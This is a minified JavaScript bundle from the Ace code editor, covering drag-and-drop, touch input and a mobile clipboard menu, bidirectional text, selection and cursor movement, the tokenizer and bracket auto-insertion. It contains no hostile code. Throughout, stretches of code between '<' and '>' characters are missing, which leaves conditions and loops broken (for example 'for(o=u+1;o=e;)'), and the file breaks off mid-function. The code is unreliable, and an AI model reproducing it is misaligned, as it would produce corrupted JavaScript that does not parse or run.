this.domEvent.shiftKey},this.getAccelKey=s.isMac?function(){return this.domEvent.metaKey}:function(){return this.domEvent.ctrlKey}}).call(o.prototype)})),define("ace/mouse/dragdrop_handler",["require","exports","module","ace/lib/dom","ace/lib/event","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("../lib/dom"),s=e("../lib/event"),o=e("../lib/useragent");function r(e){var t=e.editor,i=n.createElement("div");i.style.cssText="top:-100px;position:absolute;z-index:2147483647;opacity:0.5",i.textContent=" ";["dragWait","dragWaitEnd","startDrag","dragReadyEnd","onMouseDrag"].forEach((function(t){e[t]=this[t]}),this),t.on("mousedown",this.onMouseDown.bind(e));var r,l,h,c,u,d,g,f,m,p,v,w=t.container,$=0;function b(){var e=d;(function(e,i){var n=Date.now(),s=!i||e.row!=i.row,o=!i||e.column!=i.column;!p||s||o?(t.moveCursorToPosition(e),p=n,v={x:l,y:h}):a(v.x,v.y,l,h)>5?p=null:n-p>=200&&(t.renderer.scrollCursorIntoView(),p=null)})(d=t.renderer.screenToTextCoordinates(l,h),e),function(e,i){var n=Date.now(),s=t.renderer.layerConfig.lineHeight,o=t.renderer.layerConfig.characterWidth,r=t.renderer.scroller.getBoundingClientRect(),a={x:{left:l-r.left,right:r.right-l},y:{top:h-r.top,bottom:r.bottom-h}},c=Math.min(a.x.left,a.x.right),u=Math.min(a.y.top,a.y.bottom),d={row:e.row,column:e.column};c/o<=2&&(d.column+=a.x.left=200&&t.renderer.scrollCursorIntoView(d):m=n:m=null}(d,e)}function y(){u=t.selection.toOrientedRange(),r=t.session.addMarker(u,"ace_selection",t.getSelectionStyle()),t.clearSelection(),t.isFocused()&&t.renderer.$cursorLayer.setBlinking(!1),clearInterval(c),b(),c=setInterval(b,20),$=0,s.addListener(document,"mousemove",x)}function C(){clearInterval(c),t.session.removeMarker(r),r=null,t.selection.fromOrientedRange(u),t.isFocused()&&!f&&t.$resetCursorStyle(),u=null,d=null,$=0,m=null,p=null,s.removeListener(document,"mousemove",x)}this.onDragStart=function(e){if(this.cancelDrag||!w.draggable){var n=this;return setTimeout((function(){n.startSelect(),n.captureMouse(e)}),0),e.preventDefault()}u=t.getSelectionRange();var s=e.dataTransfer;s.effectAllowed=t.getReadOnly()?"copy":"copyMove",t.container.appendChild(i),s.setDragImage&&s.setDragImage(i,0,0),setTimeout((function(){t.container.removeChild(i)})),s.clearData(),s.setData("Text",t.session.getTextRange()),f=!0,this.setState("drag")},this.onDragEnd=function(e){if(w.draggable=!1,f=!1,this.setState(null),!t.getReadOnly()){var i=e.dataTransfer.dropEffect;g||"move"!=i||t.session.remove(t.getSelectionRange()),t.$resetCursorStyle()}this.editor.unsetStyle("ace_dragging"),this.editor.renderer.setCursorStyle("")},this.onDragEnter=function(e){if(!t.getReadOnly()&&k(e.dataTransfer))return l=e.clientX,h=e.clientY,r||y(),$++,e.dataTransfer.dropEffect=g=A(e),s.preventDefault(e)},this.onDragOver=function(e){if(!t.getReadOnly()&&k(e.dataTransfer))return l=e.clientX,h=e.clientY,r||(y(),$++),null!==S&&(S=null),e.dataTransfer.dropEffect=g=A(e),s.preventDefault(e)},this.onDragLeave=function(e){if(--$<=0&&r)return C(),g=null,s.preventDefault(e)},this.onDrop=function(e){if(d){var i=e.dataTransfer;if(f)switch(g){case"move":u=u.contains(d.row,d.column)?{start:d,end:d}:t.moveText(u,d);break;case"copy":u=t.moveText(u,d,!0)}else{var n=i.getData("Text");u={start:d,end:t.session.insert(d,n)},t.focus(),g=null}return C(),s.preventDefault(e)}},s.addListener(w,"dragstart",this.onDragStart.bind(e),t),s.addListener(w,"dragend",this.onDragEnd.bind(e),t),s.addListener(w,"dragenter",this.onDragEnter.bind(e),t),s.addListener(w,"dragover",this.onDragOver.bind(e),t),s.addListener(w,"dragleave",this.onDragLeave.bind(e),t),s.addListener(w,"drop",this.onDrop.bind(e),t);var S=null;function x(){null==S&&(S=setTimeout((function(){null!=S&&r&&C()}),20))}function k(e){var t=e.types;return!t||Array.prototype.some.call(t,(function(e){return"text/plain"==e||"Text"==e}))}function A(e){var t=["copy","copymove","all","uninitialized"],i=o.isMac?e.altKey:e.ctrlKey,n="uninitialized";try{n=e.dataTransfer.effectAllowed.toLowerCase()}catch(e){}var s="none";return i&&t.indexOf(n)>=0?s="copy":["move","copymove","linkmove","all","uninitialized"].indexOf(n)>=0?s="move":t.indexOf(n)>=0&&(s="copy"),s}}function a(e,t,i,n){return Math.sqrt(Math.pow(i-e,2)+Math.pow(n-t,2))}(function(){this.dragWait=function(){Date.now()-this.mousedownEvent.time>this.editor.getDragDelay()&&this.startDrag()},this.dragWaitEnd=function(){this.editor.container.draggable=!1,this.startSelect(this.mousedownEvent.getDocumentPosition()),this.selectEnd()},this.dragReadyEnd=function(e){this.editor.$resetCursorStyle(),this.editor.unsetStyle("ace_dragging"),this.editor.renderer.setCursorStyle(""),this.dragWaitEnd()},this.startDrag=function(){this.cancelDrag=!1;var e=this.editor;e.container.draggable=!0,e.renderer.$cursorLayer.setBlinking(!1),e.setStyle("ace_dragging");var t=o.isWin?"default":"move";e.renderer.setCursorStyle(t),this.setState("dragReady")},this.onMouseDrag=function(e){var t=this.editor.container;o.isIE&&"dragReady"==this.state&&(a(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y)>3&&t.dragDrop());"dragWait"===this.state&&(a(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y)>0&&(t.draggable=!1,this.startSelect(this.mousedownEvent.getDocumentPosition())))},this.onMouseDown=function(e){if(this.$dragEnabled){this.mousedownEvent=e;var t=this.editor,i=e.inSelection(),n=e.getButton();if(1===(e.domEvent.detail||1)&&0===n&&i){if(e.editor.inMultiSelectMode&&(e.getAccelKey()||e.getShiftKey()))return;this.mousedownEvent.time=Date.now();var s=e.domEvent.target||e.domEvent.srcElement;if("unselectable"in s&&(s.unselectable="on"),t.getDragDelay()){if(o.isWebKit)this.cancelDrag=!0,t.container.draggable=!0;this.setState("dragWait")}else this.startDrag();this.captureMouse(e,this.onMouseDrag.bind(this)),e.defaultPrevented=!0}}}}).call(r.prototype),t.DragdropHandler=r})),define("ace/mouse/touch_handler",["require","exports","module","ace/mouse/mouse_event","ace/lib/event","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("./mouse_event").MouseEvent,s=e("../lib/event"),o=e("../lib/dom");t.addTouchListeners=function(e,t){var i,r,a,l,h,c,u,d,g,f="scroll",m=0,p=0,v=0,w=0;function $(){var e=window.navigator&&window.navigator.clipboard,i=!1,n=function(n){var s,r,a=n.target.getAttribute("action");if("more"==a||!i)return i=!i,s=t.getCopyText(),r=t.session.getUndoManager().hasUndo(),void g.replaceChild(o.buildDom(i?["span",!s&&["span",{class:"ace_mobile-button",action:"selectall"},"Select All"],s&&["span",{class:"ace_mobile-button",action:"copy"},"Copy"],s&&["span",{class:"ace_mobile-button",action:"cut"},"Cut"],e&&["span",{class:"ace_mobile-button",action:"paste"},"Paste"],r&&["span",{class:"ace_mobile-button",action:"undo"},"Undo"],["span",{class:"ace_mobile-button",action:"find"},"Find"],["span",{class:"ace_mobile-button",action:"openCommandPallete"},"Pallete"]]:["span"]),g.firstChild);"paste"==a?e.readText().then((function(e){t.execCommand(a,e)})):a&&("cut"!=a&&"copy"!=a||(e?e.writeText(t.getCopyText()):document.execCommand("copy")),t.execCommand(a)),g.firstChild.style.display="none",i=!1,"openCommandPallete"!=a&&t.focus()};g=o.buildDom(["div",{class:"ace_mobile-menu",ontouchstart:function(e){f="menu",e.stopPropagation(),e.preventDefault(),t.textInput.focus()},ontouchend:function(e){e.stopPropagation(),e.preventDefault(),n(e)},onclick:n},["span"],["span",{class:"ace_mobile-button",action:"more"},"..."]],t.container)}function b(){g||$();var e=t.selection.cursor,i=t.renderer.textToScreenCoordinates(e.row,e.column),n=t.renderer.textToScreenCoordinates(0,0).pageX,s=t.renderer.scrollLeft,o=t.container.getBoundingClientRect();g.style.top=i.pageY-o.top-3+"px",i.pageX-o.left1)return clearTimeout(h),h=null,a=-1,void(f="zoom");d=t.$mouseHandler.isMousePressed=!0;var o=t.renderer.layerConfig.lineHeight,c=t.renderer.layerConfig.lineHeight,g=e.timeStamp;l=g;var $=s[0],b=$.clientX,y=$.clientY;Math.abs(i-b)+Math.abs(r-y)>o&&(a=-1),i=e.clientX=b,r=e.clientY=y,v=w=0;var S=new n(e,t);if(u=S.getDocumentPosition(),g-a<500&&1==s.length&&!m)p++,e.preventDefault(),e.button=0,function(){h=null,clearTimeout(h),t.selection.moveToPosition(u);var e=p>=2?t.selection.getLineRange(u.row):t.session.getBracketRange(u);e&&!e.isEmpty()?t.selection.setRange(e):t.selection.selectWord(),f="wait"}();else{p=0;var x=t.selection.cursor,k=t.selection.isEmpty()?x:t.selection.anchor,A=t.renderer.$cursorLayer.getPixelPosition(x,!0),L=t.renderer.$cursorLayer.getPixelPosition(k,!0),R=t.renderer.scroller.getBoundingClientRect(),M=t.renderer.layerConfig.offset,E=t.renderer.scrollLeft,T=function(e,t){return(e/=c)*e+(t=t/o-.75)*t};if(e.clientXF?"cursor":"anchor"),f=F<3.5?"anchor":_<3.5?"cursor":"scroll",h=setTimeout(C,450)}a=g}),t),s.addListener(e,"touchend",(function(e){d=t.$mouseHandler.isMousePressed=!1,c&&clearInterval(c),"zoom"==f?(f="",m=0):h?(t.selection.moveToPosition(u),m=0,b()):"scroll"==f?(m+=60,c=setInterval((function(){m--<=0&&(clearInterval(c),c=null),Math.abs(v)<.01&&(v=0),Math.abs(w)<.01&&(w=0),m<20&&(v*=.9),m<20&&(w*=.9);var e=t.session.getScrollTop();t.renderer.scrollBy(10*v,10*w),e==t.session.getScrollTop()&&(m=0)}),10),y()):b(),clearTimeout(h),h=null}),t),s.addListener(e,"touchmove",(function(e){h&&(clearTimeout(h),h=null);var s=e.touches;if(!(s.length>1||"zoom"==f)){var o=s[0],a=i-o.clientX,c=r-o.clientY;if("wait"==f){if(!(a*a+c*c>4))return e.preventDefault();f="cursor"}i=o.clientX,r=o.clientY,e.clientX=o.clientX,e.clientY=o.clientY;var u=e.timeStamp,d=u-l;if(l=u,"scroll"==f){var g=new n(e,t);g.speed=1,g.wheelX=a,g.wheelY=c,10*Math.abs(a)=e){for(o=u+1;o=e;)o++;for(a=u,l=o-1;a=t.length||2!=(l=i[s-1])&&3!=l||2!=(h=t[s+1])&&3!=h?4:(o&&(h=3),h==l?h:4);case 10:return 2==(l=s>0?i[s-1]:5)&&s+10&&2==i[s-1])return 2;if(o)return 4;for(g=s+1,d=t.length;g=1425&&m<=2303||64286==m;if(l=t[g],p&&(1==l||7==l))return 1}return s<1||5==(l=t[s-1])?4:i[s-1];case 5:return o=!1,r=!0,n;case 6:return a=!0,4;case 13:case 14:case 16:case 17:case 15:o=!1;case u:return 4}}function p(e){var t=e.charCodeAt(0),i=t>>8;return 0==i?t>191?0:d[t]:5==i?/[\u0591-\u05f4]/.test(e)?1:0:6==i?/[\u0610-\u061a\u064b-\u065f\u06d6-\u06e4\u06e7-\u06ed]/.test(e)?12:/[\u0660-\u0669\u066b-\u066c]/.test(e)?3:1642==t?c:/[\u06f0-\u06f9]/.test(e)?2:7:32==i&&t<=8287?g[255&t]:254==i&&t>=65136?7:4}t.L=0,t.R=1,t.EN=2,t.ON_R=3,t.AN=4,t.R_H=5,t.B=6,t.RLE=7,t.DOT="·",t.doBidiReorder=function(e,i,c){if(e.length<2)return{};var d=e.split(""),g=new Array(d.length),v=new Array(d.length),w=[];n=c?1:0,function(e,t,i,c){var u=n?h:l,d=null,g=null,f=null,v=0,w=null,$=-1,b=null,y=null,C=[];if(!c)for(b=0,c=[];b0)if(16==w){for(b=$;b-1){for(b=$;b=0&&8==c[S];S--)t[S]=n}}(d,w,d.length,i);for(var $=0;$7&&i[$]<13||4===i[$]||i[$]===u)?w[$]=t.ON_R:$>0&&"ل"===d[$-1]&&/\u0622|\u0623|\u0625|\u0627/.test(d[$])&&(w[$-1]=w[$]=t.R_H,$++);d[d.length-1]===t.DOT&&(w[d.length-1]=t.B),"‫"===d[0]&&(w[0]=t.RLE);for($=0;$=0&&(e=this.session.$docRowCache[i])}return e},this.getSplitIndex=function(){var e=0,t=this.session.$screenRowCache;if(t.length)for(var i,n=this.session.$getRowCacheIndex(t,this.currentRow);this.currentRow-e>0&&(i=this.session.$getRowCacheIndex(t,this.currentRow-e-1))===n;)n=i,e++;else e=this.currentRow;return e},this.updateRowLine=function(e,t){void 0===e&&(e=this.getDocumentRow());var i=e===this.session.getLength()-1?this.EOF:this.EOL;if(this.wrapIndent=0,this.line=this.session.getLine(e),this.isRtlDir=this.$isRtl||this.line.charAt(0)===this.RLE,this.session.$useWrapMode){var o=this.session.$wrapData[e];o&&(void 0===t&&(t=this.getSplitIndex()),t>0&&o.length?(this.wrapIndent=o.indent,this.wrapOffset=this.wrapIndent*this.charWidths[n.L],this.line=tt?this.session.getOverwrite()?e:e-1:t,s=n.getVisualFromLogicalIdx(i,this.bidiMap),o=this.bidiMap.bidiLevels,r=0;!this.session.getOverwrite()&&e<=t&&o[s]%2!=0&&s++;for(var a=0;at&&o[s]%2==0&&(r+=this.charWidths[o[s]]),this.wrapIndent&&(r+=this.isRtlDir?-1*this.wrapOffset:this.wrapOffset),this.isRtlDir&&(r+=this.rtlLineOffset),r},this.getSelections=function(e,t){var i,n=this.bidiMap,s=n.bidiLevels,o=[],r=0,a=Math.min(e,t)-this.wrapIndent,l=Math.max(e,t)-this.wrapIndent,h=!1,c=!1,u=0;this.wrapIndent&&(r+=this.isRtlDir?-1*this.wrapOffset:this.wrapOffset);for(var d,g=0;g=a&&di+o/2;){if(i+=o,n===s.length-1){o=0;break}o=this.charWidths[s[++n]]}return n>0&&s[n-1]%2!=0&&s[n]%2==0?(e0&&s[n-1]%2==0&&s[n]%2!=0?t=1+(e>i?this.bidiMap.logicalFromVisual[n]:this.bidiMap.logicalFromVisual[n-1]):this.isRtlDir&&n===s.length-1&&0===o&&s[n-1]%2==0||!this.isRtlDir&&0===n&&s[n]%2!=0?t=1+this.bidiMap.logicalFromVisual[n]:(n>0&&s[n-1]%2!=0&&0!==o&&n--,t=this.bidiMap.logicalFromVisual[n]),0===t&&this.isRtlDir&&t++,t+this.wrapIndent}}).call(r.prototype),t.BidiHandler=r})),define("ace/selection",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/lib/event_emitter","ace/range"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./lib/lang"),o=e("./lib/event_emitter").EventEmitter,r=e("./range").Range,a=function(e){this.session=e,this.doc=e.getDocument(),this.clearSelection(),this.cursor=this.lead=this.doc.createAnchor(0,0),this.anchor=this.doc.createAnchor(0,0),this.$silent=!1;var t=this;this.cursor.on("change",(function(e){t.$cursorChanged=!0,t.$silent||t._emit("changeCursor"),t.$isEmpty||t.$silent||t._emit("changeSelection"),t.$keepDesiredColumnOnChange||e.old.column==e.value.column||(t.$desiredColumn=null)})),this.anchor.on("change",(function(){t.$anchorChanged=!0,t.$isEmpty||t.$silent||t._emit("changeSelection")}))};(function(){n.implement(this,o),this.isEmpty=function(){return this.$isEmpty||this.anchor.row==this.lead.row&&this.anchor.column==this.lead.column},this.isMultiLine=function(){return!this.$isEmpty&&this.anchor.row!=this.cursor.row},this.getCursor=function(){return this.lead.getPosition()},this.setSelectionAnchor=function(e,t){this.$isEmpty=!1,this.anchor.setPosition(e,t)},this.getAnchor=this.getSelectionAnchor=function(){return this.$isEmpty?this.getSelectionLead():this.anchor.getPosition()},this.getSelectionLead=function(){return this.lead.getPosition()},this.isBackwards=function(){var e=this.anchor,t=this.lead;return e.row>t.row||e.row==t.row&&e.column>t.column},this.getRange=function(){var e=this.anchor,t=this.lead;return this.$isEmpty?r.fromPoints(t,t):this.isBackwards()?r.fromPoints(t,e):r.fromPoints(e,t)},this.clearSelection=function(){this.$isEmpty||(this.$isEmpty=!0,this._emit("changeSelection"))},this.selectAll=function(){this.$setSelection(0,0,Number.MAX_VALUE,Number.MAX_VALUE)},this.setRange=this.setSelectionRange=function(e,t){var i=t?e.end:e.start,n=t?e.start:e.end;this.$setSelection(i.row,i.column,n.row,n.column)},this.$setSelection=function(e,t,i,n){if(!this.$silent){var s=this.$isEmpty,o=this.inMultiSelectMode;this.$silent=!0,this.$cursorChanged=this.$anchorChanged=!1,this.anchor.setPosition(e,t),this.cursor.setPosition(i,n),this.$isEmpty=!r.comparePoints(this.anchor,this.cursor),this.$silent=!1,this.$cursorChanged&&this._emit("changeCursor"),(this.$cursorChanged||this.$anchorChanged||s!=this.$isEmpty||o)&&this._emit("changeSelection")}},this.$moveSelection=function(e){var t=this.lead;this.$isEmpty&&this.setSelectionAnchor(t.row,t.column),e.call(this)},this.selectTo=function(e,t){this.$moveSelection((function(){this.moveCursorTo(e,t)}))},this.selectToPosition=function(e){this.$moveSelection((function(){this.moveCursorToPosition(e)}))},this.moveTo=function(e,t){this.clearSelection(),this.moveCursorTo(e,t)},this.moveToPosition=function(e){this.clearSelection(),this.moveCursorToPosition(e)},this.selectUp=function(){this.$moveSelection(this.moveCursorUp)},this.selectDown=function(){this.$moveSelection(this.moveCursorDown)},this.selectRight=function(){this.$moveSelection(this.moveCursorRight)},this.selectLeft=function(){this.$moveSelection(this.moveCursorLeft)},this.selectLineStart=function(){this.$moveSelection(this.moveCursorLineStart)},this.selectLineEnd=function(){this.$moveSelection(this.moveCursorLineEnd)},this.selectFileEnd=function(){this.$moveSelection(this.moveCursorFileEnd)},this.selectFileStart=function(){this.$moveSelection(this.moveCursorFileStart)},this.selectWordRight=function(){this.$moveSelection(this.moveCursorWordRight)},this.selectWordLeft=function(){this.$moveSelection(this.moveCursorWordLeft)},this.getWordRange=function(e,t){if(void 0===t){var i=e||this.lead;e=i.row,t=i.column}return this.session.getWordRange(e,t)},this.selectWord=function(){this.setSelectionRange(this.getWordRange())},this.selectAWord=function(){var e=this.getCursor(),t=this.session.getAWordRange(e.row,e.column);this.setSelectionRange(t)},this.getLineRange=function(e,t){var i,n="number"==typeof e?e:this.lead.row,s=this.session.getFoldLine(n);return s?(n=s.start.row,i=s.end.row):i=n,!0===t?new r(n,0,i,this.session.getLine(i).length):new r(n,0,i+1,0)},this.selectLine=function(){this.setSelectionRange(this.getLineRange())},this.moveCursorUp=function(){this.moveCursorBy(-1,0)},this.moveCursorDown=function(){this.moveCursorBy(1,0)},this.wouldMoveIntoSoftTab=function(e,t,i){var n=e.column,s=e.column+t;return i<0&&(n=e.column-t,s=e.column),this.session.isTabStop(e)&&this.doc.getLine(e.row).slice(n,s).split(" ").length-1==t},this.moveCursorLeft=function(){var e,t=this.lead.getPosition();if(e=this.session.getFoldAt(t.row,t.column,-1))this.moveCursorTo(e.start.row,e.start.column);else if(0===t.column)t.row>0&&this.moveCursorTo(t.row-1,this.doc.getLine(t.row-1).length);else{var i=this.session.getTabSize();this.wouldMoveIntoSoftTab(t,i,-1)&&!this.session.getNavigateWithinSoftTabs()?this.moveCursorBy(0,-i):this.moveCursorBy(0,-1)}},this.moveCursorRight=function(){var e,t=this.lead.getPosition();if(e=this.session.getFoldAt(t.row,t.column,1))this.moveCursorTo(e.end.row,e.end.column);else if(this.lead.column==this.doc.getLine(this.lead.row).length)this.lead.row0&&(t.column=n)}}this.moveCursorTo(t.row,t.column)},this.moveCursorFileEnd=function(){var e=this.doc.getLength()-1,t=this.doc.getLine(e).length;this.moveCursorTo(e,t)},this.moveCursorFileStart=function(){this.moveCursorTo(0,0)},this.moveCursorLongWordRight=function(){var e=this.lead.row,t=this.lead.column,i=this.doc.getLine(e),n=i.substring(t);this.session.nonTokenRe.lastIndex=0,this.session.tokenRe.lastIndex=0;var s=this.session.getFoldAt(e,t,1);if(s)this.moveCursorTo(s.end.row,s.end.column);else{if(this.session.nonTokenRe.exec(n)&&(t+=this.session.nonTokenRe.lastIndex,this.session.nonTokenRe.lastIndex=0,n=i.substring(t)),t>=i.length)return this.moveCursorTo(e,i.length),this.moveCursorRight(),void(e0&&this.moveCursorWordLeft());this.session.tokenRe.exec(o)&&(i-=this.session.tokenRe.lastIndex,this.session.tokenRe.lastIndex=0),this.moveCursorTo(t,i)}},this.$shortWordEndIndex=function(e){var t,i=0,n=/\s/,s=this.session.tokenRe;if(s.lastIndex=0,this.session.tokenRe.exec(e))i=this.session.tokenRe.lastIndex;else{for(;(t=e[i])&&n.test(t);)i++;if(i<1)for(s.lastIndex=0;(t=e[i])&&!s.test(t);)if(s.lastIndex=0,i++,n.test(t)){if(i>2){i--;break}for(;(t=e[i])&&n.test(t);)i++;if(i>2)break}}return s.lastIndex=0,i},this.moveCursorShortWordRight=function(){var e=this.lead.row,t=this.lead.column,i=this.doc.getLine(e),n=i.substring(t),s=this.session.getFoldAt(e,t,1);if(s)return this.moveCursorTo(s.end.row,s.end.column);if(t==i.length){var o=this.doc.getLength();do{e++,n=this.doc.getLine(e)}while(e0&&/^\s*$/.test(n));i=n.length,/\s+$/.test(n)||(n="")}var o=s.stringReverse(n),r=this.$shortWordEndIndex(o);return this.moveCursorTo(t,i-r)},this.moveCursorWordRight=function(){this.session.$selectLongWords?this.moveCursorLongWordRight():this.moveCursorShortWordRight()},this.moveCursorWordLeft=function(){this.session.$selectLongWords?this.moveCursorLongWordLeft():this.moveCursorShortWordLeft()},this.moveCursorBy=function(e,t){var i,n=this.session.documentToScreenPosition(this.lead.row,this.lead.column);if(0===t&&(0!==e&&(this.session.$bidiHandler.isBidiRow(n.row,this.lead.row)?(i=this.session.$bidiHandler.getPosLeft(n.column),n.column=Math.round(i/this.session.$bidiHandler.charWidths[0])):i=n.column*this.session.$bidiHandler.charWidths[0]),this.$desiredColumn?n.column=this.$desiredColumn:this.$desiredColumn=n.column),0!=e&&this.session.lineWidgets&&this.session.lineWidgets[this.lead.row]){var s=this.session.lineWidgets[this.lead.row];e<0?e-=s.rowsAbove||0:e>0&&(e+=s.rowCount-(s.rowsAbove||0))}var o=this.session.screenToDocumentPosition(n.row+e,n.column,i);0!==e&&0===t&&o.row===this.lead.row&&(o.column,this.lead.column),this.moveCursorTo(o.row,o.column+t,0===t)},this.moveCursorToPosition=function(e){this.moveCursorTo(e.row,e.column)},this.moveCursorTo=function(e,t,i){var n=this.session.getFoldAt(e,t,1);n&&(e=n.start.row,t=n.start.column),this.$keepDesiredColumnOnChange=!0;var s=this.session.getLine(e);/[\uDC00-\uDFFF]/.test(s.charAt(t))&&s.charAt(t-1)&&(this.lead.row==e&&this.lead.column==t+1?t-=1:t+=1),this.lead.setPosition(e,t),this.$keepDesiredColumnOnChange=!1,i||(this.$desiredColumn=null)},this.moveCursorToScreen=function(e,t,i){var n=this.session.screenToDocumentPosition(e,t);this.moveCursorTo(n.row,n.column,i)},this.detach=function(){this.lead.detach(),this.anchor.detach()},this.fromOrientedRange=function(e){this.setSelectionRange(e,e.cursor==e.start),this.$desiredColumn=e.desiredColumn||this.$desiredColumn},this.toOrientedRange=function(e){var t=this.getRange();return e?(e.start.column=t.start.column,e.start.row=t.start.row,e.end.column=t.end.column,e.end.row=t.end.row):e=t,e.cursor=this.isBackwards()?e.start:e.end,e.desiredColumn=this.$desiredColumn,e},this.getRangeOfMovements=function(e){var t=this.getCursor();try{e(this);var i=this.getCursor();return r.fromPoints(t,i)}catch(e){return r.fromPoints(t,t)}finally{this.moveCursorToPosition(t)}},this.toJSON=function(){if(this.rangeCount)var e=this.ranges.map((function(e){var t=e.clone();return t.isBackwards=e.cursor==e.start,t}));else(e=this.getRange()).isBackwards=this.isBackwards();return e},this.fromJSON=function(e){if(null==e.start){if(this.rangeList&&e.length>1){this.toSingleRange(e[0]);for(var t=e.length;t--;){var i=r.fromPoints(e[t].start,e[t].end);e[t].isBackwards&&(i.cursor=i.start),this.addRange(i,!0)}return}e=e[0]}this.rangeList&&this.toSingleRange(e),this.setSelectionRange(e,e.isBackwards)},this.isEqual=function(e){if((e.length||this.rangeCount)&&e.length!=this.rangeCount)return!1;if(!e.length||!this.ranges)return this.getRange().isEqual(e);for(var t=this.ranges.length;t--;)if(!this.ranges[t].isEqual(e[t]))return!1;return!0}}).call(a.prototype),t.Selection=a})),define("ace/tokenizer",["require","exports","module","ace/config"],(function(e,t,i){"use strict";var n=e("./config"),s=2e3,o=function(e){for(var t in this.states=e,this.regExps={},this.matchMappings={},this.states){for(var i=this.states[t],n=[],s=0,o=this.matchMappings[t]={defaultToken:"text"},r="g",a=[],l=0;l1?this.$applyToken:h.token),u>1&&(/\\\d/.test(h.regex)?c=h.regex.replace(/\\([0-9]+)/g,(function(e,t){return"\\"+(parseInt(t,10)+s+1)})):(u=1,c=this.removeCapturingGroups(h.regex)),h.splitRegex||"string"==typeof h.token||a.push(h)),o[s]=l,s+=u,n.push(c),h.onMatch||(h.onMatch=null)}}n.length||(o[0]=0,n.push("$")),a.forEach((function(e){e.splitRegex=this.createSplitterRegexp(e.regex,r)}),this),this.regExps[t]=new RegExp("("+n.join(")|(")+")|($)",r)}};(function(){this.$setMaxTokenCount=function(e){s=0|e},this.$applyToken=function(e){var t=this.splitRegex.exec(e).slice(1),i=this.token.apply(this,t);if("string"==typeof i)return[{type:i,value:e}];for(var n=[],s=0,o=i.length;sc){var v=e.substring(c,p-m.length);d.type==g?d.value+=v:(d.type&&h.push(d),d={type:g,value:v})}for(var w=0;ws){for(u>2*e.length&&this.reportError("infinite loop with in ace tokenizer",{startState:t,line:e});c1&&i[0]!==n&&i.unshift("#tmp",n),{tokens:h,state:i.length?i:n}},this.reportError=n.reportError}).call(o.prototype),t.Tokenizer=o})),define("ace/mode/text_highlight_rules",["require","exports","module","ace/lib/lang"],(function(e,t,i){"use strict";var n=e("../lib/lang"),s=function(){this.$rules={start:[{token:"empty_line",regex:"^$"},{defaultToken:"text"}]}};(function(){this.addRules=function(e,t){if(t)for(var i in e){for(var n=e[i],s=0;s=this.$rowTokens.length;){if(this.$row+=1,e||(e=this.$session.getLength()),this.$row>=e)return this.$row=e-1,null;this.$rowTokens=this.$session.getTokens(this.$row),this.$tokenIndex=0}return this.$rowTokens[this.$tokenIndex]},this.getCurrentToken=function(){return this.$rowTokens[this.$tokenIndex]},this.getCurrentTokenRow=function(){return this.$row},this.getCurrentTokenColumn=function(){var e=this.$rowTokens,t=this.$tokenIndex,i=e[t].start;if(void 0!==i)return i;for(i=0;t>0;)i+=e[t-=1].value.length;return i},this.getCurrentTokenPosition=function(){return{row:this.$row,column:this.getCurrentTokenColumn()}},this.getCurrentTokenRange=function(){var e=this.$rowTokens[this.$tokenIndex],t=this.getCurrentTokenColumn();return new n(this.$row,t,this.$row,t+e.value.length)}}).call(s.prototype),t.TokenIterator=s})),define("ace/mode/behaviour/cstyle",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/token_iterator","ace/lib/lang"],(function(e,t,i){"use strict";var n,s=e("../../lib/oop"),o=e("../behaviour").Behaviour,r=e("../../token_iterator").TokenIterator,a=e("../../lib/lang"),l=["text","paren.rparen","rparen","paren","punctuation.operator"],h=["text","paren.rparen","rparen","paren","punctuation.operator","comment"],c={},u={'"':'"',"'":"'"},d=function(e){var t=-1;if(e.multiSelect&&(t=e.selection.index,c.rangeCount!=e.multiSelect.rangeCount&&(c={rangeCount:e.multiSelect.rangeCount})),c[t])return n=c[t];n=c[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:"",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:"",maybeInsertedLineEnd:""}},g=function(e,t,i,n){var s=e.end.row-e.start.row;return{text:i+t+n,selection:[0,e.start.column+1,s,e.end.column+(s?0:1)]}},f=function(e){this.add("braces","insertion",(function(t,i,s,o,r){var l=s.getCursorPosition(),h=o.doc.getLine(l.row);if("{"==r){d(s);var c=s.getSelectionRange(),u=o.doc.getTextRange(c);if(""!==u&&"{"!==u&&s.getWrapBehavioursEnabled())return g(c,u,"{","}");if(f.isSaneInsertion(s,o))return/[\]\}\)]/.test(h[l.column])||s.inMultiSelectMode||e&&e.braces?(f.recordAutoInsert(s,o,"}"),{text:"{}",selection:[1,1]}):(f.recordMaybeInsert(s,o,"{"),{text:"{",selection:[1,1]})}else if("}"==r){if(d(s),"}"==h.substring(l.column,l.column+1))if(null!==o.$findOpeningBracket("}",{column:l.column+1,row:l.row})&&f.isAutoInsertedClosing(l,h,r))return f.popAutoInsertedClosing(),{text:"",selection:[1,1]}}else{if("\n"==r||"\r\n"==r){d(s);var m="";if(f.isMaybeInsertedClosing(l,h)&&(m=a.stringRepeat("}",n.maybeInsertedBrackets),f.clearMaybeInsertedClosing()),"}"===h.substring(l.column,l.column+1)){var p=o.findMatchingBracket({row:l.row,column:l.column+1},"}");if(!p)return null;var v=this.$getIndent(o.getLine(p.row))}else{if(!m)return void f.clearMaybeInsertedClosing();v=this.$getIndent(h)}var w=v+o.getTabString();return{text:"\n"+w+"\n"+v+m,selection:[1,w.length,1,w.length]}}f.clearMaybeInsertedClosing()}})),this.add("braces","deletion",(function(e,t,i,s,o){var r=s.doc.getTextRange(o);if(!o.isMultiLine()&&"{"==r){if(d(i),"}"==s.doc.getLine(o.start.row).substring(o.end.column,o.end.column+1))return o.end.column++,o;n.maybeInsertedBrackets--}})),this.add("parens","insertion",(function(e,t,i,n,s){if("("==s){d(i);var o=i.getSelectionRange(),r=n.doc.getTextRange(o);if(""!==r&&i.getWrapBehavioursEnabled())return g(o,r,"(",")");if(f.isSaneInsertion(i,n))return f.recordAutoInsert(i,n,")"),{text:"()",selection:[1,1]}}else if(")"==s){d(i);var a=i.getCursorPosition(),l=n.doc.getLine(a.row);if(")"==l.substring(a.column,a.column+1))if(null!==n.$findOpeningBracket(")",{column:a.column+1,row:a.row})&&f.isAutoInsertedClosing(a,l,s))return 